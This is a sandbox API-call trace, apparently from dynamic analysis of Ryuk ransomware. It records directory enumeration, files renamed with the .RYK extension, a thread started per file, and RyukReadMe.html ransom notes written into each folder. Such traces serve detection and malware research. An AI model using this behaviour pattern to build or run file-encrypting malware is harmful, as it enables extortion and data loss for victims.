	[0276.006] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb5f3e4e0, ftCreationTime.dwHighDateTime=0x1d5bc16, ftLastAccessTime.dwLowDateTime=0xe35d9fa0, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0x4e74a210, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xdfa2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="BDM2QhO.jpg.RYK", cAlternateFileName="BDM2QH~1.RYK")) returned 1
	[0276.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24
	[0276.008] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.008] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0276.008] SetLastError (dwErrCode=0x0) 
	[0276.008] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28
	[0276.009] GetLastError () returned 0xb7
	[0276.009] CloseHandle (hObject=0xa28) returned 1
	[0276.009] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0276.009] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eab61b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.009] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4eab61b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0276.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04
	[0276.012] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.012] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e770370, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4e770370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4e770370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0276.012] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e770370, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4e770370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4e770370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0276.013] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0276.013] SetLastError (dwErrCode=0x0) 
	[0276.013] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa28
	[0276.013] GetLastError () returned 0xb7
	[0276.013] CloseHandle (hObject=0xa28) returned 1
	[0276.014] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe3720540, ftCreationTime.dwHighDateTime=0x1d5c43c, ftLastAccessTime.dwLowDateTime=0xd14eafa0, ftLastAccessTime.dwHighDateTime=0x1d5b85a, ftLastWriteTime.dwLowDateTime=0x4ea1dc30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="D0W  zImaBM4n.mp4.RYK", cAlternateFileName="D0WZIM~1.RYK")) returned 1
	[0276.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28
	[0276.016] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.016] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xfbe929a0, ftCreationTime.dwHighDateTime=0x1d5b7d0, ftLastAccessTime.dwLowDateTime=0x2026e2c0, ftLastAccessTime.dwHighDateTime=0x1d5b971, ftLastWriteTime.dwLowDateTime=0x4ea43d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x3e12, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="dL0Fi75.mp4.RYK", cAlternateFileName="DL0FI7~1.RYK")) returned 1
	[0276.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa44
	[0276.019] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.019] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x53204b20, ftCreationTime.dwHighDateTime=0x1d5b64d, ftLastAccessTime.dwLowDateTime=0xe4904320, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0x4ea90050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x163a2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Ejt2Fb952ZvwQ.pps.RYK", cAlternateFileName="EJT2FB~1.RYK")) returned 1
	[0276.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40
	[0276.022] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.022] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xae35b000, ftCreationTime.dwHighDateTime=0x1d5c1f5, ftLastAccessTime.dwLowDateTime=0x58f61e20, ftLastAccessTime.dwHighDateTime=0x1d5c5fd, ftLastWriteTime.dwLowDateTime=0x4eadc310, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x151c2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="etQIDu5e2VcL.wav.RYK", cAlternateFileName="ETQIDU~1.RYK")) returned 1
	[0276.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc
	[0276.025] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.025] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf843bd30, ftCreationTime.dwHighDateTime=0x1d5c124, ftLastAccessTime.dwLowDateTime=0x70eaf730, ftLastAccessTime.dwHighDateTime=0x1d5bff4, ftLastWriteTime.dwLowDateTime=0x4eb02470, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x7242, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="F8_7cJIxa0Q9_.mp3.RYK", cAlternateFileName="F8_7CJ~1.RYK")) returned 1
	[0276.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c
	[0276.028] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.028] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x794e8a70, ftCreationTime.dwHighDateTime=0x1d5bf10, ftLastAccessTime.dwLowDateTime=0x95ae70e0, ftLastAccessTime.dwHighDateTime=0x1d5c2ee, ftLastWriteTime.dwLowDateTime=0x4ee6e410, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x16022, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="FD_LfsLgv.swf.RYK", cAlternateFileName="FD_LFS~1.RYK")) returned 1
	[0276.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4
	[0276.223] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.227] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd33c420, ftCreationTime.dwHighDateTime=0x1d5be84, ftLastAccessTime.dwLowDateTime=0x1e866db0, ftLastAccessTime.dwHighDateTime=0x1d5c4ec, ftLastWriteTime.dwLowDateTime=0x4eeba6d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xfb42, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="fJGiIRlEOvBHcXPfy.pdf.RYK", cAlternateFileName="FJGIIR~1.RYK")) returned 1
	[0276.228] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa54
	[0276.238] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.238] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0276.239] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50
	[0276.255] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.256] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0276.256] SetLastError (dwErrCode=0x0) 
	[0276.256] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c
	[0276.257] GetLastError () returned 0xb7
	[0276.257] CloseHandle (hObject=0xa5c) returned 1
	[0276.257] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0276.257] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.258] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68da81b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68da81b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0276.258] SetLastError (dwErrCode=0x0) 
	[0276.258] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c
	[0276.258] GetLastError () returned 0xb7
	[0276.258] CloseHandle (hObject=0xa4c) returned 1
	[0276.259] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68da81b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68da81b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0276.259] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x68da81b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x68da81b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0276.259] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1c2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0276.259] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x68d82050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1c2, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0276.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa64
	[0276.263] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.263] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6537c810, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x6537c810, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x660e03d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0276.263] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6537c810, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x6537c810, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x660e03d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0276.264] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0276.264] SetLastError (dwErrCode=0x0) 
	[0276.264] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c
	[0276.264] GetLastError () returned 0xb7
	[0276.264] CloseHandle (hObject=0xa4c) returned 1
	[0276.265] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4eb285d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0276.265] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4eb285d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4eb285d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4eb285d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0276.265] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0276.265] SetLastError (dwErrCode=0x0) 
	[0276.265] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c
	[0276.265] GetLastError () returned 0xb7
	[0276.266] CloseHandle (hObject=0xa5c) returned 1
	[0276.266] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5d217160, ftCreationTime.dwHighDateTime=0x1d5c0a4, ftLastAccessTime.dwLowDateTime=0x9a42e9d0, ftLastAccessTime.dwHighDateTime=0x1d5b83d, ftLastWriteTime.dwLowDateTime=0x4eee0830, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa852, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="HM2Ftlx uiQ.png.RYK", cAlternateFileName="HM2FTL~1.RYK")) returned 1
	[0276.266] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0276.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c
	[0276.272] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
